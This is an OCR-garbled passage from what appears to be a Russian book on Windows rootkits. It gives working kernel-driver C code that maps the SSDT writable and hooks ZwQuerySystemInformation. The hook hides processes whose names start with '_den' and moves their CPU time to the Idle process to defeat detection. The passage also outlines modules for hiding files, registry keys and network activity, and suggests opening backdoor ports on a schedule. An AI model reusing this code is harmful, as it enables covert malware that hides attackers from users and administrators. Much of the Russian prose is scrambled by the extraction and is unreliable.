RootKits  // нумярпа ю   стеащ рбо я   к  пмоньлеар у   троп у  п о  асерд у   378Н  #define IOCTL_TOUCH_PORT_378H  CTL_CODE  (\  FILE_DEVICE_UNKNOWN,  0x703, \  METHOD_BUFFERED,  FILE_ANY_ACCESS)  NTSTATUS  OnDeviceControl(  IN PDEVICEJDBJECT pdo,  IN PIRP  Irp)  {  NTSTATUS  status  = STATUS_SUCCESS;  ULONG  BytesTxd  = 0; // члси о  / хын адер п ын ечулоп х   йаб т  PIO_STACK_LOCATION plrpStack = IoGetCurrentlrpStackLocation(plrp);  PPRIMER_DEVICE_EXTENSION  dx =  (PPRIMER_DEVICE_EXTENSION)pdo­>DeviceExtension;  ULONG  ControlCode =  pIrpStack­>Parameters.DeviceloControl.IoControlCode;  ULONG method = ControlCode  & 0x03;  DbgPrint("OnDeviceControl:  IOCTL  %x.", ControlCode);  switch ( ControlCode) {  case  IOCTL_PRINT_MESSAGE:  {  DbgPrint("IOCTL_PRINT_MESSAGE  " ) ;  break;  )  case  IOCTL_SEND_BYTE_TO_USER:  (  // Ремза р  дхына , пишвпутсо х   о т  пользватея :  ULONG  InputLength =  pIrpStack­>Parameters.DeviceloControl.InputBufferLength;  ULONG OutputLength =  pIrpStack­>Parameters.DeviceloControl.OutputBufferLength;  if (OutputLengthKl)  {  status  =  STATUS_INVALID_PARAMETER;  break;  }  if(  method==METHOD_BUFFERED)  (  buff =  (PUCHAR)pIrp­>AssociatedIrp.SystemBuffer;  DbgPrint("Method  : BUFFERED");  }  else  if  (method==METHOD_NEITHER)  {  buff=(unsigned  char*)pIrp­>UserBuffer;  DbgPrint("Method  : NEITHER");  }  else  {  DbgPrint ("Method  : unsupported");  140 

в а Гл

а  5.Пиш е

м   п е рв ы

й  дра йв е

 р

status  =  STATUS_INVALID_DEVICE_REQUEST;  break; 

1  DbgPrint ("Buffer address  = %08X",buff);  *buff=33;  BytesTxd  = 1;  break;  )  case  IOCTL_TOUCH_PORT_37 8H:  {  unsigned  short ECRegister  = 0x378+0x402;  DbgPrint ("IOCTL_TOUCH_PORT_378H.") ;  _asm {  mov dx,ECRegister ;  xor al,al ;  out dx,al  ; Утивонас ь   РЕ Р  mode  000  mov  al,095h  ; Бти ы   7:5  = 100  out dx,al  ; Утивонас ь   РЕ Р  mode  100  }  break;  }  default:  status =  STATUS_INVALID_DEVICE_REQUEST;  }  DbgPrint("OnDeviceControl:  %d bytes written",  (int)BytesTxd);  return  CompleteIrp(  plrp, status, BytesTxd);  } 

5.7. СМ Е Х

А ГОВЕН  ДВРУХ

О  Т И К Т У Р

В ы   н ауч и л с ь   с о з а вд т ь а к к  с  н и м   жоме т  вз аимоедйвста ч О в еи н д о ,  чт о   можн о   н ап и с т лат и  б ы  н а  обио х  уровнхя в ы п ол н т я ь   б о л ь ш и н с вт о уп рав л ен и е  и  т . д . А  компн е т «янреыд » , фунцк и и   ­  утсод з л еь г о в т а к с о   ом п к н е а т мехС ом е х с Н а   на д о ил ц  ярад (син ф

а   в з а и м о д е й с вт и й  двухрон евг

  и   рег и ст ов а

ь   рд а й в е р   у рс от й в ь   п мгаор а   п о л ь з о в а е т л ь со кг ь   о ка т й   и т к ур ,  омпкн е т ы   о р тг к . Наприме , поль з веалть иск й   омк п н е   у н ф цк и й   ­  евост е   в з а и м о д е й с вт и е у  ярд а  далосит ь  б ы  н и зоукрвн е ы п  к  «жзелу »  и  при ык т е  детлья н ост . 

я   о км п н е о т о  рикут й   мехс е   ом п к н е , а  тжак е  сни ф г   ­  посдлуш иван е

А 

в   вд у х   у р о в н е а  (fusion  rootkit))  и з ображ ен т   рд я г   л а вк и у р т

а   е д уб ,  перхв)ат

т   п рои з в д т ы   и  поветак .  Поль з оваетль сик

й   (и н огд

а   и   п о н л ия ,  о   уров н я .  о   раб о ­ т   ом г  б ы   ,  удален о  е , сбгу  о и   п ол ь ­

а   н аз ы в аем а  н а  ри с

ь   м о ид а к фц

 я . 5.5.  ю   аб т я   п о  сте

, перадю щ ихс й   о м кп н е

­ и   т 141 

RootKits 

е д бу т   раб т о ь   «по д  приык тем у н фц к и и   ­  тэ о   павроесдтлн и н тсо и  уадлен о  кон ртли ова л ов й   с и е м то й ,  вы лкю ч аьт /п ерз агруж т и  т . д.) .  и в т с й е дм о и а з В т н е ом п ко р дя

»  омпкн е т

а   уров н о   пу тсо д р  ­  произ вдт ь   ш а м ин у

е   ал ен уд ог ь  кмпоью ет

е  го кс лье таво з льо п

о 

а  и т н  кое ом п

а  унво р

я   р да я .  Осн ов ы е   ге о  а   (и л и   прост о   в зо м ж ­ ь  операц и и  с  фай ­ ,  з апускт ь   п гор ма ы 

ыр кС

 я

а 

т  комп н е от

м  ярд

П о л ь з в е ла ть и с к

теС

й   о км п н е

 я оК м п н е

т  уровн

и нСф

с.Ри

е  двухрон ев • 

Д е й с вт и б и л ео чт н ы ь тю е с .  Н чт о  би бл еочтн ы з ча е м  влюк чат и р ку т т  н н и ч ге о  н

• 

Есл а лу д е си ем т ур т у ад л и

Дл

а 

й   мехс

г 

иСн ф

в 

г  л а вк и у р т

ы 

 рут тик  

  5.5. ыевнйухро Дв

ы  ием

т  сюудел щ и

е   п р е и м у щ в е с ат



я   п ол ь з в е ат ог ск

о  уровн я  празодумевю т   и сп ол ь з в ан и е  х   у н фц к и й   Windows  ­  е т х   ж е   унфцк и й   д л я   бар то ы   с  е   п ер и сы в ат ь   ж е   з ан ов о   св ю   Windows?  Вес м   из внесто ,  е  фунцк и и   Windows муго т  соедржат ь  ош ибк . Та  к ь  ко д  с  ош имабк и  в  сатсо в  рикут а  ядра ?  ьВде , чбот ы  е  бы л  змачен , смеитс а  долж н а  ратбо ь  сатби ль н о  ­  бочт ы  е  н апоми н ал о  о  привсту и   и а к т ру . 

и   п о л ь з о в ае тл ь и с к н   ма д и н о р а м т с е  и  сможе . Амдин ораст л   и к р ту

й   ом п к н е ,  т о  компн е

т   е д уб

т  пеырхват

ь   т е пк а р   ж е  беду

т  дьумат

т   все­акт и   «вы числен »  и  т  ярд а   св е  равн о   а он с т е я   в  ы  и  «прослуш ивьат »  лакви ­ , чт о  вс е  н ормаль н о   ­  о н  вде ь 



я   в з а и м о де й с в т и я   п ол ь з ве ат ог ск о   ом п к н е т н я   рд я а   м о ж н о   и сп ол ь з в ат ь   н ол ь еск о   п бс в о окм а н д ы   IOCTL  ( I / O  control).  IOCTL­ко м а н д 142 

я  ярд

о   О С 

о т е пк а

И сп ол ь з ов ан и

 т

ь 

и М ао цд к ф

рдЯ

а 

а   и   о м кп н е т .  Обы чн о   и сп ол ь з ую с т ы   п р е д с т а в л юя

а   уров т   соб

­  я й 

л а вГ

а  5.П и ш е

м   перв ы

й   драйв е

о п р е д м л ыя н е л д п ор у т о   уз л о «пюавл щ ий ы в р еп о р тв вы ч и лс т

е   п рог ам и ст м   со б щ ен и я .  ожадК е  собщ ен и е   н ес т  в ю   н у а м до к ,  н априме р   н ма о д к у   у ас нт о в и т ь   с о еи д н и е  с м   и л и   р ы ко т ь   п р о т   д л я   ал ен уд ог о   уп ост а д .  В ы   может е   ес лд а т »  играф к   т бо а р ы  птро а  дл я  уалден ог о  доуспта .  Нап ри ме й   е н д ь   п р о т   р ы к о т в ас е я   чер з   30  мин у т   п лсо е   з ап уск а   си ем ы т й   ­  чер з   чса , н а   ирет й   ­  чер з   40  мин у т   и   т . д . Та к   едбу т   сл ож н е ь  ва ш  рикту . 

И , з аверш а

у   и н рум е ст о а  риакту м  калтоге , а  сзотад е  беду т   в о  вес м  эо т я  н а  ри с . 5.6. 

ру т к с в  онод щ о рп жн е а

я   ме т

е  птроек

I ш   еД р е в

в   р а з бч о т и к . Я  рнмеоудк ь  дл я  рикут м   ори ен т ров ьа ся

о   к ат л ог

а   и ак р ут ю  н е  держ ат а  суртк

, сажемк ь  вс е  исхнод ы

у  сло е   а й фл в  ­  ав м  ж е  пот , туюак , ка к   из обра

у  калогт .  Напри ме

  п ра

 р

 сбе   етм

е  ­ ь  , н а  ,  н а   е в  о  ы  м  ­

Q|ic| 

в 

]

 hmy  rootk.it  bin  ­include  lib  t i c 

• boot  ­file_hkle  ­netwoik  ­pioc_hide  ­ieg_hide  • mysql  ­bench  Data  l­ATIS  L­Wisconsin  limits  L output  my_cooUcit  тры с Бы

й  поиск



OK 

с.Ри

«Кнровые м »  алогтк м ы   б у де м   хран и т i n c l u d e  ­  з аголвчн ы ол а т К б и л ек от отэ

г   l i b  ебду , а  калот м  калогт е  ещ

Zl  F2 • обновт и

н ем т О

а 

  5.6.  Ст трук ура

м   н ша ге ь   о тк м п и л р о в а н ы е  файлы

.ь т а .ч Пе

  атк алог в

о  пткеор



  я дл

ь в е р  де кв а р п С

  троекп а

о  а 

  рут тик а 

а  беду

, елс

т   хран и т ь   вс е   н еоб хид м ы г  s r c  ­  нидохсы е  птя ь  плаговткд

т  my_rootkit.  В  калотг е   м о ду л и   р у тки а .  В   кат л ог и  эт о  беду т  н ужн о .  е   дл й  ко д  риакту : 

я   ко м п и л ц я и . Д л я  уобвдст

и   п р о етк а  я  созад

е   bin  е  а  л  в 

143 

RootKits 

• 

boot  ­  исхонд ы

• 

file_hide  ­  индохсы

• 

network  ­  евс

• 

proc_hide  ­  пгорма

• 

reg_hide  ­  пгорма

В  сюудле щ е а й фл ы

й   г л ав , пцорсе

144 

й  ко д  прогамы ­з агру чик

а   и р ку а т

й  ко д  пгмоар , чт о  сзвяан

ы  дл

о  с  сьюте а  дл а  дл

е  м ы  н чан е м  раз гов ы  и  рзалед ы   ар тсе

я  соркы ит

я  файлов





я  срыок ит

я   п цор в с е

я  сроык ит

я  разелдо р  о  тмо





, ка к  и мен

;  в  рартсе

.  о  можн

о   р ыс к в а т

ь 

АВ Г Л

  6.  ЕРПХАТВ

  НА

 УРНЕ ОВ

РА Я Д

•  А В Х Е Р П

Т  ПИНАВЫРЕ

•  ИЦ К УРТСН И

Й  (ТЦИЛБА

А  ЮТ



Я  SYSENTER 

•  ИТЫР КОС

Е  ПОС ЕЦОР

•  ИТЫР КОС

Е  СИНЕ ДЕО

•  ЫВЕН ОР У ГОН М

В  (ТЦИЛБА Й   (ТЦИЛБА Е  ДРРЕВЙА

R O O T K I T S 

А  SSDT)  А  IRP)  Ы 

• • 

• 

В  гвал

е  4 м ы  гвоирл и   о  снмеиытс х  тбилац е  сменитсы х  свриеос в  SSDT, а  в  гвал а  IRP. Вс е  эт о  мжон о  пыьтвахер

б ила ц т ыв д о

лн ч аС а  пеуирнтомс др IDT.  В ы виодт DbgPrint.  Добави Дл у р т кс

я  четн и

ь   е д бу

м   щ е бн оа ы м   в   н ко о   уи т л м  эот т  ко д  в  фунцки

я   а бт л и ц ы   IDT служи ы   IDTINFO: 

х   ­  аблитц е  преы ван и е  5 влве и  пионт я е  потека , и  сйчеа с  м ы  пжаеко м  кка

й   в  п . 4.5 выов д  сжргиеомд ы   Debug View  с   помщ ь ю   DriverEntry  (ли ст н т   и н рц с у т к и

я   SIDT. Он

а   в оз ращ е

й   IDT и  в  в в ода /  . 

о  тиблац ю   у н ф цк и г   6.1). 

ы  и 

т   ер да

с 

t y p e d e f  s t r u c t  _IDTINFO  { 

u n s i g n e d  s h o r t  I D T L i m i t ;  u n s i g n e d  s h o r t  LowIDTBase;  u n s i g n e d  s h o r t  HilDTBase;  }  IDTINFO; 

ер дА Дл

с  сома я  преобаз вн и

й  IDT взовщар сте я   итэ

х  плое

я  в  пляо й  в  полн ы

х  срутк

ы  LowIDTBase и  HilDTBase.  с  опрелди м  мроак с  TOLONG: 

й  аерд

# d e f i n e  TOLONG  ( a ,  b )  ( (LONG)  (  ( (WORD)  ( а )  )  |  \  (  (DWORD)  (  (WORD)  (b)  )  ) « 1 б )  ) 

аж К д

я  з апи с

а би т

. Зап и с п ре ы в ан и я # p r a g m a 

ь  таблиц ь  табли ц : 

ы   IDT ­  тэ о  суртк ы   IDT сжредои т   и о р мн а ц ф

p a c k ( l ) 

typedef  struct  _IDTENTRY  (  unsigned  short LowOffset;  unsigned  short  selector; 

146 

а  тип

а  IDTENTRY раз меро ю   о   у н фц к и ­ о б р а чт и к

м  64  е 

валГ unsigned  char unused_lo;  unsigned  char unused_hi:5;  unsigned  char  DPL:2;  unsigned  char  P:l;  // би т  пивтсур unsigned  short HiOffset;  IDTENTRY;  тдагз а  pack()  н ит с Л

г  6 . 1 .  о в ы В

ГдО М И Ж Р Е  СД О

я   роткев

а  6.Па в х е р

т  н а  нвору

а   пре ывани

е  ядр

а 

я 

О  IDT 

ќinclude    #define TOLONG(a, b)  ( (long) (( (unsigned  short) (a))  | \  ((unsigned  long) ((unsigned  short) (b)))MdlFlags  =  pSystemCall­>MdlFlags  I MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable  =  MmMapLockedPages(pSystemCall,  KernelMode); 

155 

RootKits 

6 . 3 . 2 .  М И Е З Н И ь пр е Т

Е

, кгод а  SSDT дупостн а  дл я  з апис м ы  говрил , чт о  етс ь  API­фун цк и и   п о л ь з ве а т о г с к н ач и н аю с т я   н а  «Nt»  —  и  етс ь  API уровн с  писркеф а   «Zw». 2\у*­фунцки и   и сп ол ь з ую с т вм а р е и  усртой в . 

щб О и е з та у т об а р п ри л ож ен и ю

й  пинрц м  симеотс , воз вращ

п  тйо ка й  вы з всает

: по кьсле тавьзол я  рзе луьат

. Получ асет

  SSDT 

, м ы  мжео я  ярд

м  е е  и з мен и ьт о   уров н а  с  имне аи я   о м кп н е а м т

.  Помн иет я   ­  и х   имне ,  н ач и н аю щ и м с и   дря

а   и  драй

е  пнижеолр е  вы з еав т  №*­фунцкию я  н ужн а я  Zw*­фyнцкия , корта я  и  вы полнея т  №*­фун цк и . №*­фун цк и я  пеард т  рзельуат я  так я  двухрон еа я  самех . 

,  а   я ­

,  т  вс ю    т

Н аш а   з ач д а   ­  и з мен и т ь   SSDT тка , чбот ы   в ы з в ал и с ь   н уж ы е   н а м   ун ф к ­ ц и и   (н аш и   у нф к ц и ) .  снЯо ,  чт о   нша и   у н ц фк и и   у дб т   в оз ращ т ь   о т т   ре ­ тз а ь л у , корыт й  н а м  нжуне . В  эо т м  на м  пугом т  дв а  мросак : SYS_SERVICE  и  SYSCALL_IND. Первы й  морка с  прин мае т  аерд с  2ш *­фунцк и и  и  воз вращ ­ е т  свостуею щ и й  е й  аерд с  №*­фунцк и и   и з  таблиц ы   SSDT  о рВ т щи

й  мроак й  е й  н оме

с  прин мае р  (и н деск

т  аерд )  в  табли ц

аК юст

к  ж е  эт и   мраокс ы   аю р б от я  с  ондо й  и  то й  ж е  и н рцсутк и

с  2\Ґ*­фнуцки е  SSDT.  ?  А  очне : 

ь  потср

и   и  воз вращ е . Вс

т   вс о туею

­

е  2\у*­фунцк и

и   н ач и

­

m o v e  a x ,  NNN 

NNN  ­  тэ о   и н едк с   ис ме н т го о   в ы з ов тсе ь  инсекд , т о  на м   н ичге о  н е  сиот у н фц к и и   в  табли ц е   SSDT  торбНа ж ом е м  уз н ат ь  ин екд с  эот й  фунцк и

т  н айт , елс . 

а   в   ба ли т ц е   SSDT.  Дале и   п о  нме у  аред с   вс о т у е ю щ е и  у  на с  етс ь  арде с  фун цк и

,  лсе

и   у   на  с й  , т о  м ы  

• define  SYS_SERVICE  ( _ f u n c t i o n )  \  K e S e r v i c e D e s c r i p t o r T a b l e . S e r v i c e T a b l e B a s e [  \  *(PULONG)((PUCHAR)_function+l)]  tdefine  SYSCALL_IND(_Function)*(PULONG)  ( (PUCHAR)_Function + l ) 

. Вде ь  пывре е  мсор ка ы  SYS_SERVICE и  s YSCALL_IND  Н о  эт о  ещ е  н е  вс е  мысор ка б зе о и н д ы   ­  он и   н ичег о   н е  дюлае т   н две р г о . Чег о  н е  сакж еш ь   о   роса м к х  HOOK и  UNHOOK. Мраок с  н о к  прин мае т  аерд с  7\Ґ*­фунцки , корту ю  н уж ­ н о  перхвиать ,  вы ч и есля т   е е  нмео р   в  SSDT  и  з амен я т   с во т е у ю щ и й  ер да с  в  SSDT аосерд м  фунцк и и   _hook.  #define  HOOK  ( _ F u n c t i o n ,  _ h o o k ,  _ O r i g  )  \  _ O r i g  =  (PVOID)  I n t e r l o c k e d E x c h a n g e (  (PLONG)  \  & M a p p e d S y s t e m C a l l T a b l e [ S Y S C A L L _ I N D ( _ F u n c t i o n ) ] ,  (LONG)  hook) 

156 



в а Гл

а  6.Па в х е р е

т  н а  унв о р

е  яр д

а 

«define  UNHOOK  (_Function,  _hook,  _Orig  )  \  InterlockedExchange(  (PLONG)  \  &MappedSystemCallTable[SYSCALL_IND(_Function) ] , \  (LONG)  _hook) 

г е Вс о  ли ш ь  чыте р е  масорк ж е  з ахочсяет ,  и споль з у Д в ай т е  сеалд м  эт о  ветсм ы р й  беду т  срык ват ь  пцорысе

, н о  чт о  он и  уюем ,  перхиват я   тэ и  мысорка . Сйеча с  м ы  н паиш е . 

М ы  з н аем , чт о  в  Windows етс п р е о ад ю с в т л я щ а я   раз ли ч н у (и  дгури е  п ри лож ен и я ) исполь з уе го т э о  о н  пеадр т  е й  пармет аН ч у л и оП ыро т н ке

ш  рикут

т   е д уб в  рзельуат е  з апи с

т  дельат

! Наверн о ь   п ароч к м  драй ве

, ва м  сзар у   API­фун кц и й р  уросйтва , кот

у  .  ­

ь  API­фунцк и я   ZwQuerySystemlnf  ormation,  ю   си ем нт у ю   и но р мфа ц и ю .  Д и сп етч р   з ад ч  т  е е  дл я  получ ен и я  спи ск а  проц есв . Д л  я р  Systemlnf ormationClass  = 5. 

т   п е ыр х в а т ь   ун ц кф и ю   NtQuerySystemlnformation.  т  удали т  и з  нге о  т  о т  ZwQuerySystemlnf ormation,  риукт . 

И он р м а ц ф и я   о   ц п о ра с е х   хран и с т я   в   у р а т кс х   _SYSTEM_PROCESSES  е   п цор ас е м   п о т ик ) .  (проц есы )  и   _SYSTEM_THREADS  (свусютое щ и В  струк е   _SYSTEM_PROCESSES  ест ь   иод н   оч ен ь   п олез н ы й   эл е м н т  ­ UNIC0DE_STRING.  юС д а  смеитс а  з аписы вае т   им я  пцорасе .  М ы  беду м   на ­ ­ л и з ров ат ь   и м ен о  UNIC0DE_STRING, чбо т ы   «оиеьсвта »  н уж ы е   на м  про . В знгляе м  н а  опелнрд и е  суртк р  _SYSTEM_PROCESSES  с це ы  п о  имне а И  _SYSTEM_THREADS:  struct  _SYSTEM_THREADS 

i  LARGE_INTEGER  LARGE_INTEGER  LARGE_INTEGER  ULONG  PVOID  CLIENT_ID  KPRIORITY  KPRIORITY  ULONG  ULONG  KWAIT_REASON  In­ struct  _SYSTEM_PROCESSES  {  ULONG  ULONG  ULONG  LARGE_INTEGER  LARGE  INTEGER 

KernelTime;  UserTime;  CreateTime;  WaitTime;  StartAddress;  Clients­ Priority;  BasePriority;  ContextSwitchCount;  ThreadState;  WaitReason; 

NextEntryDelta;  ThreadCount;  Reserved [ 6 ] ;  CreateTime;  UserTime; 

157 

RootKits  LARGE_INTEGER  KernelTime;  UNICODE_STRING  ProcessName;  KPRIORITY  BasePriority;  ULONG  Processld;  ULONG  InheritedFromProcessId;  ULONG  HandleCount;  Reserved2[2];  ULONG  VM_COUNTERS  VmCounters;  IO_COUNTERS  IoCounters; //ткьло о  дл я  Windows  2000  struct _SYSTEM_THREADS  Threads[1];:  } ; 

В м ест о   уфн кц и и   ZwQuerySystemlnformation  м ы   у с та н о в и м   у фн к ­ ц и ю  MyZwQuerySystemlnformation.  Усатн вли ат ь   е е   м ы  буед м   п осл е  и н и ц и али з ац и и   др а й в е р а   в   ход е   в ы п о л н е н и я   уфн кц и и   D r i v e r E n t r y  (л и с ти н г   6.5).  н ит с и Л

г  6.5.  Н Е М ДО П

А  ZWQUERYSYSTEMINFORMATION 

LARGE_INTEGER  UserTime;  LARGE_INTEGER  KernelTime;  ZWQUERYSYSTEMINFORMATION  Pred_func;  NTSTATUS  DriverEntry(IN  PDRIVER_OBJECT pDriverObject,  IN PUNICODE_STRING  pRegPath)  {  /*  ок д  иницалз и .  д а р е в й. ар .  */  // Оеялунб м   оньлаб г е   время . Эт о  пиловз т   "завулироать "  // разниц у   в  понрсец м   нем рв и   ­ вде ь  нша и   ыт ркс е  // псецор ы   уд б т  итавозьлпс ь   ос ец рп р  UserTime.QuadPart  = KernelTime.QuadPart  = 0;  // сеянархо м   ерда с   оратс й  фицкну и   ZwQuerySystemlnformation  Pred_func =  (ZWQUERYSYSTEMINFORMATION)  (SYS_SERVICE(ZwQuerySystemlnformation));  // Сеадзо м   MDL  mdl = MmCreateMdl(NULL,  KeServiceDescriptorTable.ServiceTableBase,  KeServiceDescriptorTable.NumberOfServices*4);  if(!mdl)  return  STATUS_UNSUCCESSFUL;  MmBuildMdlForNonPagedPool(mdl);  // Реашрз м   сипаз ь   в  роиге н  птяма и  mdl­>MdlFlags  = mdl­>MdlFlags  | MDL_MAPPED_TO_SYSTEM_VA;  MappedSystemCallTable  = MmMapLockedPages(mdl,  KernelMode);  // перхватым   ынметси й   озыв в 

158 

в а Гл

а  6.Пехрва

т   н а  уровн

е  ярд

а 

HOOK(ZwQuerySystemlnformation, MyZwQuerySystemlnformation, Pred_func);  return  STATUS_SUCCESS;  } 

оВ нО нж у о с ц е рп

т   еп т р а   е д уб

ь   р а с ми о т т   рсык в а т в  с  инме

м   м а с у   у н ц фк и ь   п цор ыс е ,  н ачи ю щ иес ь   т э у   рок ст у   (н е   юамуд м  _den*). 

г  6.6. А Щ Ю А Щ Е М А З

Я ЦИ  ФК Н У

о   и з м ен и т

н ит с Ли

ю   MyZwQuerySystemlnformation.  я   н а   «_den».  онКеч о ,  ва м  ,  чт о   в   вша е й   си ем т е   е бду т   нм г о о 

Я   MYZWQUERYSYSTEMINFORMATION 

NTSTATUS  MyZwQuerySystemlnformation(  IN ULONG  SystemlnformationClass,  IN PVOID  Systemlnformation,  IN ULONG  SystemlnformationLength,  OUT  PULONG  ReturnLength)  {  NTSTATUS  s;  s =  ((ZWQUERYSYSTEMINFORMATION)(Pred_func))  (  SystemlnformationClass,  Systemlnformation,  SystemlnformationLength,  ReturnLength ) ;  if(  NT_SUCCESS(s))  {  // Ксал с   5 ­ эт о  сосип к   ос ец рп в  if(SystemlnformationClass  == 5)  {  struct _SYSTEM_PROCESSES  *curr =  (struct _SYSTEM_PROCESSES  *) Systemlnformation;  struct _SYSTEM_PROCESSES  *prev = NULL;  while(curr)  {  if  (curr­>ProcessName.Buffer  != NULL)  {  if(0 ==  memcmp(curr­>ProcessName.Buffer,  L" den", 12) )  {  UserTime.QuadPart  +=  curr­>UserTime.QuadPart;  KernelTime.QuadPart  +=  curr­>KernelTime.QuadPart;  if(prev)  f  if(curr­>NextEntryDelta) 

159 

RootKits  prev­>NextEntryDelta  +=  curr­>NextEntryDelta;  else  prev­>NextEntryDelta  = 0;  }  else  {  if (curr­>NextEntryDelta)  (char *)Systemlnformation  +=  curr­>NextEntryDelta;  else  Systemlnformation  = NULL;  }  }  }  else  // эт о  зсипа ь  дл я  псецор а   прост я   (Idle)  {  // Добавляе м   оксьлетав з п е   процес н е   мерв я  и  // понрсец е  м е р в я  яа р д ,  // оо м е а м и н т е  пм а с е ц о р и  _den*, к  пс е ц о р у  Idle  curr­>UserTime.QuadPart  += UserTime.QuadPart;  curr­>KernelTime.QuadPart  +=  KernelTime.QuadPart;  // Сеавысрб м   ремйат ы  UserTime.QuadPart  = 0;  KernelTime.QuadPart  = 0;  }  prev = curr;  if(curr­>NextEntryDelta)  ((char  *)curr  += curr­>NextEntryDelta);  else  curr  = NULL;  }  }  else  if  (SystemlnformationClass  == 8)  // зорпа с   о  понрсец м   нем рв и  {  struct _SYSTEM_PROCESSOR_TIMES  * times =  (struct _SYSTEM_PROCESSOR_TIMES  *)Systemlnformation;  times­>IdleTime.QuadPart  +=  UserTime.QuadPart  + KernelTime.QuadPart;  }  }  return stat; 



л ас о т О о р е  пнор с цеор н е м вр 160 

ь  пснрояи т

ь  оид е  вямер

, кор т

н  мнетмо . Елс

е  зна имю

. Сыркт и  снвитар т  вс е  пыцсоре

ь  ощеб

е  нма и  пцсоре е  пнор с цеор , т о  рза н иц

ы  зна имю т  но т ке е  вмер я  с ны ср ам у а  беду т  н алиц о . Во

­ м  т  та  к

в а Гл

а н ш   и к рут т   мж о е т   бы т ь   об н аруж е .  аН й  раз н и ц ы . Деласт я  очен ь  потср . Препдолжим он е  вмер я  равн о  велич н е  М . Смунра о нв а р о  S. Раз н и ц а  мжед у  ним и  S ­  М  = К о с в  вбщо е  нте . Кду а  тдго а  пйеод т  раз н и ц а п с ц е и л ьа н ы й   пцор се с  ­  Idle ­  безйвдист с ц ео рп ы   в  сиемст е  еьтс , т о  поз иабьтс ж лн о д ы  м ы  смаи . Трпе ь  ва м  должн а  бы т

отэ

6.4. СИЫТР КО

Е  СИНЕ ДЕО

м   н жу

а  6.Пехрва

т  н а  уорвн

е   р яд

а 

я   о   с ро ык и т и  , чт о  общ е е  проц ес ­ е  вмеря , з анотя е  вмес и   п роц ес ам и ,  . Павистредм , чт о  срык т х  проц ес ­ ?  ноКче , сиемст а  спиш е т  е е  н а  е  смиеытс . Н о  послкь у   рыск т е  я   о  списан и   в рем н и   п а  сче т   Idle  ь  ясн а  вс я   унф кц и я . 

Й  (ТЦ И Л БА

о   п оз аб ит ь с

А  IRP) 

М ы   уж

е   р а с м е ол т и   в д а   б о пс а   ануст ов к и   л ов уш е к   в   дря е   ­  в   пврео м  е  м ы  помиестл и   л ов уш к у   в  таблиц у   IDT, а  в о  ворт м   ­  в  SSDT  Н о  в  рд я е  етс ь  ещ е  онд о  мотсе , в  корт е  мжон о  пимотсе ь  лвошу к , эт о  табли ц а  ун ц к ф и й , имею щ с ая я  в  кожад м  драйве е  уройств . Сраз у  посл е  уаснт овк и  й а р вде р  и н и ц али з руе т  таблиц ы  фунцк и й  ­  в  н и х  соедржсат я  асерд а  фун ­ ц ий к , обслуживаю щ и х  раз личн ы е  тип ы  потека в  IRP (I/O  Request  Packets).  IRP  управюля т   н ое лс к ь и м и   в ми а д и   з ап рос в ,  н апри ме р   з ап и сь ,  чент и .  ьл о к с П у  драйве ы  уройст в  сбал о  пюровея ст я  ан ит рукн ы м и   с дер ­ и м ав т , IRP­табли ц а   ­  тэ о  илаьедн о е  мтсе о  дл я  уанст овк и   л о в у ш ик .  ча у л с

и р т м о с аР

м   а н с т рд ы

е   и пт

ы   IRP­пеаоткв

,  опредлн ы

е   в   Microsoft 

DDK:  •  d e f i n e  •  d e f i n e  •  d e f i n e  •  d e f i n e  • d e f i ne  •  d e f i n e  • d e f i ne  •  d e f i n e  • d e f i ne  • d e f i ne  •  define  •  define  •  define  •  define  •  define  •  define  •  define  •  define  •  d e f i n e  • d e f i ne  •  define 

6  к а З

IRP_MJ  CREATE  IRP_MJ_CREATE  NAMED  P I P E  IRP_MJ  CLOSE  IRP_MJ_READ  IRP_MJ_WRITE  IRP_MJ_QUERY  INFORMATION  IRP_MJ_SET_INFORMATION  IRP_MJ_QUERY_EA  IRP_MJ_SET_EA  IRP_MJ_FLUSH_BUFFERS  IRP_MJ_QUERY  VOLUME_INFORMATION  IRP_MJ_SET_VOLUME  INFORMATION  IRP_MJ  DIRECTORY  CONTROL  I R P _ M J _ F I L E  SYSTEMJCONTROL  IRP_MJ_DEVICE  CONTROL  IRP_MJ_INTERNAL_DEVICE_CONTROL  IRP_MJ  SHUTDOWN  IRP_MJ_LOCK  CONTROL  IRP_MJ_CLEANUP  IRP_MJ_CREATE_MAILSLOT  I R P  MJ  QUERY  SECURITY 

. 665 

0 x 0 0  0 x 0 1  0 x 0 2  0 x 0 3  0 x 0 4  0 x 0 5  0 x 0 6  0 x 0 7  0 x 0 8  0 x 0 9  0 x 0 a  0 x 0 b  0 x 0 c  OxOd  OxOe  OxOf  0 x 1 0  0 x 1 1  0 x 1 2  0 x 1 3  0 x 1 4 

161 

RootKits  # d e f i n e  # d e f i n e  # d e f i n e  # d e f i n e  t d e f i n e  # d e f i n e  # d e f i n e  # d e f i n e 

IRP_MJ_SET_SECURITY  IRP_MJ_POWER  IRP_MJ_SYSTEM_CONTROL  IRP_MJ_DEVICE_CHANGE  IRP_MJ_QUERY_QUOTA  IRP_MJ_SET_QUOTA  IRP_MJ_PNP  IRP_MJ_MAXIMUM_FUNCTION 

о ка К й  драй ве р  и  киак е  ег о ит е  сьелдат . Неюад сь , в ы (н еослкь о  в  счлуа е  мн гопцр се (у   гжоадк о  драй ве а   св о)я ине , в ы  долж н ы  уаснт ови SYS. В  эот м  парг ф е  м ы лсЕ и  ж е  расмрти ва ь  вс

 IRP исполь з ват  пно иемта . Елс

и   вы ь  ловуш к

 рирмсато е  воз мжн ы

0 x 1 5  0 x 1 6  0 x 1 7  0 x 1 8  0 x 1 9  O x l a  O x l b  O x l b 

? Эт о  з ави с т  о т  тго , чт о  в ы  хо ­ , в  че м  длео . IDT ­  онд а­еидн вст н а  я е  й  маш ин ы ) , а  IRP­табли ц ы  — рзан ы , н априме , хито е   ср кы т ь   Т С Р ­ с о е ди ­ у  дл я   IRP­табли ц ы   рд а й в е а   TCPIP.  м  ловуш к у  имне о  дл я  эогт о  драйве .  е  драйвеы , т о  и  кн и г и  н е  хивта . 

ш На ч лу с е а алуден ог

